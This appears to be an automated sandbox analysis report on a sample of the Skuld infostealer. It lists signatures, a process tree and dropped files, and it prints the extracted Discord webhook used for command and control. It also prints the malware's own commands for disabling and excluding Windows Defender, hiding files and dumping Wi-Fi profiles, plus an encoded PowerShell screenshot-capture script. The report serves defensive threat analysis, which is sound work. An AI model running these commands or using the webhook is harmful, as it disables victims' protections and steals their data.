Analysis

  • max time kernel
    68s
  • max time network
    80s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-07-2024 00:48

General

  • Target

    skuld.exe

  • Size

    9.4MB

  • MD5

    fea59955ab0fcc83f00cdae5cc117a01

  • SHA1

    9778ae8c8376897ce620bf034449b40f86e6524e

  • SHA256

    522d690153d2be80648e7552115f4208b5c00d32669ee9353502bac58a4c7e2c

  • SHA512

    00b325c7a57b871c10e7b1be3caad625746a4ab73173a695d3b3c8ad199cc7eeac829d37f49420e80d1759c7bc66b81cc2763e81a9de17e70c2bca76f164ae5f

  • SSDEEP

    98304:ERQFK1V4OI3WKF0UULoLkfCzaE3MwTwYH:Xg1V4OEULoLwCT3JH

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1243605362742005904/Nvky9VoL_U2OJkQtz-o56Shh4aTBArCHpjcQqPq9ScLPwWMhvk3UUOoahVRhl20BqJOH

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:316
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:2236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4496
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3992
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4924
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1712
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:3484
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:672
    • C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      2⤵
      • Drops file in Drivers directory
      • Views/modifies file attributes
      PID:2088
    • C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      2⤵
      • Drops file in Drivers directory
      • Views/modifies file attributes
      PID:4972
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:2216
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        PID:4272
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\a02awrmj\a02awrmj.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1344
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAC8C.tmp" "c:\Users\Admin\AppData\Local\Temp\a02awrmj\CSC7E13AAF6DCC345478398350FC3B4488.TMP"
            4⤵
              PID:3152

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d3e9c29fe44e90aae6ed30ccf799ca8

        SHA1

        c7974ef72264bbdf13a2793ccf1aed11bc565dce

        SHA256

        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

        SHA512

        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        dbb22d95851b93abf2afe8fb96a8e544

        SHA1

        920ec5fdb323537bcf78f7e29a4fc274e657f7a4

        SHA256

        e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

        SHA512

        16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

      • C:\Users\Admin\AppData\Local\Temp\RESAC8C.tmp

        Filesize

        1KB

        MD5

        1603f873da865a7519eac1fbd9141f3e

        SHA1

        e6ba8f5657b07f5834982c4035367731e4d5be18

        SHA256

        b94716b31dd7f401e729cba774e3ca7242e3198e09bb212218664a1fd90dc728

        SHA512

        1db39757a2ad3d49c924655265f312e531fc5979974d2393c86101d6a690b52e35abe2eba9c4f207f1d6366383c34f32e7ac7bfce082c80ba924be19ee896584

      • C:\Users\Admin\AppData\Local\Temp\RGlVhIGvtP\Display (1).png

        Filesize

        432KB

        MD5

        91b4c7b095c91effd9dfaa20214fe957

        SHA1

        3dd47953e2cb6211fad42cae97f3c2e7c65c517e

        SHA256

        358ae541fd512d713bdd2b8c5144dda675033c2f68b456c3bf94685d20b78026

        SHA512

        20609bfec2ba7de990b17e8f6bb70c749cb97527831df605cdde67b14a3f116132ecdcb1fc954261bee61d798044c5cceb6f895c97bd9ff60533788acab9f2ce

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_amahug1z.3f5.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\a02awrmj\a02awrmj.dll

        Filesize

        4KB

        MD5

        a3f3f21402b95315ad2ff27bd678be12

        SHA1

        af7e039a73e44879cf444ef3527f41ddaf68ad18

        SHA256

        613d732ed5b80b2994a0bed450e72f9c0b8e9e498c895323b0ae81f98c3ddd59

        SHA512

        8846be0951a1fe636871fdd533b002d4e0290d02ca2039d97a7e4c6dfbf057cf8e6eabba9d4403e8bed150e883f8c3d470801d565e110c8a5957e419cd6630a6

      • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

        Filesize

        9.4MB

        MD5

        fea59955ab0fcc83f00cdae5cc117a01

        SHA1

        9778ae8c8376897ce620bf034449b40f86e6524e

        SHA256

        522d690153d2be80648e7552115f4208b5c00d32669ee9353502bac58a4c7e2c

        SHA512

        00b325c7a57b871c10e7b1be3caad625746a4ab73173a695d3b3c8ad199cc7eeac829d37f49420e80d1759c7bc66b81cc2763e81a9de17e70c2bca76f164ae5f

      • C:\Windows\System32\drivers\etc\hosts

        Filesize

        2KB

        MD5

        6e2386469072b80f18d5722d07afdc0b

        SHA1

        032d13e364833d7276fcab8a5b2759e79182880f

        SHA256

        ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

        SHA512

        e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

      • \??\c:\Users\Admin\AppData\Local\Temp\a02awrmj\CSC7E13AAF6DCC345478398350FC3B4488.TMP

        Filesize

        652B

        MD5

        d2919b609d293d5e4a76b0e465ceccc4

        SHA1

        068da0120512dd3abe4f8be9e8ab17c721048dbe

        SHA256

        6eff6ee05a92c117660579fe411a0431ef48648de2d64a47bd7d618803d7eb3f

        SHA512

        93274cfb8cc7eebc426627e9c26e5a83b6f38c7b80c9fbc38e30ad752317f9b626215c925c8d1ffd8bb5ea7af258532c8023661c77abf9c775ae22386c043387

      • \??\c:\Users\Admin\AppData\Local\Temp\a02awrmj\a02awrmj.0.cs

        Filesize

        1004B

        MD5

        c76055a0388b713a1eabe16130684dc3

        SHA1

        ee11e84cf41d8a43340f7102e17660072906c402

        SHA256

        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

        SHA512

        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

      • \??\c:\Users\Admin\AppData\Local\Temp\a02awrmj\a02awrmj.cmdline

        Filesize

        607B

        MD5

        85a0df5e27b33ba15ef92172e1949f8f

        SHA1

        5403f0aec24c46cac44c241d572830b2a008d84c

        SHA256

        db863a6ef0dd6a0d82e3f813c8cace15cdc668afc61ae15c0eccb1009b1746bc

        SHA512

        fb51cd169639605ff75b13a7fbfb9f3530009b2ec57e009f5ddcd33c58199ac3d4bd9ae6e02bb9c3b7a49a2f7d48cf7136ec30e2bed1baf076fb8b6ba1b6135a

      • memory/2688-61-0x00000217C4B40000-0x00000217C4B48000-memory.dmp

        Filesize

        32KB

      • memory/4496-0-0x00007FFF2ABA3000-0x00007FFF2ABA5000-memory.dmp

        Filesize

        8KB

      • memory/4496-20-0x00007FFF2ABA0000-0x00007FFF2B661000-memory.dmp

        Filesize

        10.8MB

      • memory/4496-13-0x00007FFF2ABA0000-0x00007FFF2B661000-memory.dmp

        Filesize

        10.8MB

      • memory/4496-8-0x000001B8A4C60000-0x000001B8A4C82000-memory.dmp

        Filesize

        136KB

      • memory/4496-3-0x00007FFF2ABA0000-0x00007FFF2B661000-memory.dmp

        Filesize

        10.8MB